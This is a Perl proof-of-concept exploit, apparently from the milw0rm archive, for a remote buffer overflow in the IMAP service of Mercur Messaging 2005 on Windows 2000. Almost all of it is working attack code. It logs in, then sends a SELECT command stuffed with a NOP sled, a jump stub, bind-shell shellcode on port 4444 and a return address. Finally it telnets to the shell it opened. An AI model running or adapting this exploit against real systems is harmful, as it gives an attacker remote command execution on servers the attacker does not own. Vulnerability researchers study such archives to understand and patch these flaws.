Mercur Messaging 2005 - IMAP Remote Buffer Overflow

#!/bin/perl
# tested on win2k server SP4 English
# ATTENTION! If you have an another valid account you must change the offsets this is only a poc
#

use IO::Socket::INET;

my $host = shift(@ARGV);
my $port = 143;
my $reply;
my $request;
my $user = "test";
my $pass = "test";

my $nop = "\x90"x8;

my $nop1 = "\x90"x20;

my $ret = "\x42\xb2\xc1\x40";

#my $ret = "\x42\x42\x42\x42"; #call edi in mcrimap4.exe

my $asm="\x8b\xc7\x83\xc0\x23\x50\xc3";

#	asm is a binary translation of these assembly instructions;eax now have the correct memory address for shellcode
#
#	8BC7           MOV EAX,EDI
#	83C0 23        ADD EAX,23
#	50             PUSH EAX                                
#	C3             RETN




#A binary translation of NGS Writing Small Shellcode by Dafydd Stuttard with only two little differences
#1)bind port, in this exploit is 4444 in the original shellcode was 6666
#2)4 bytes added to the shellcode in order not to see the window of cmd.exe on remote host


my $shellcode = 
"\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64".
"\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C".
"\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77".
"\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60".
"\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF".
"\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7".
"\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B".
"\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4".
"\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3".
"\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4".
"\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44".
"\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50".
"\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8";

my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";

recv($socket, $reply, 1024, 0);
print "Response:" . $reply;
$request = "a001 LOGIN $user $pass\r\n";

send $socket, $request, 0;
print "[+] Sent login\n";
recv($socket, $reply, 1024, 0);
print "Response:" . $reply;

$request = " SELECT " . $nop . $asm . $nop1 . $shellcode . $ret ."\r\n";

send $socket, $request, 0;
print "[+] Sent chunk\n";

print " + Connect on port 4444 of $host ...\n";
system("telnet $host 4444");

close $socket;
exit;

# milw0rm.com [2007-01-15]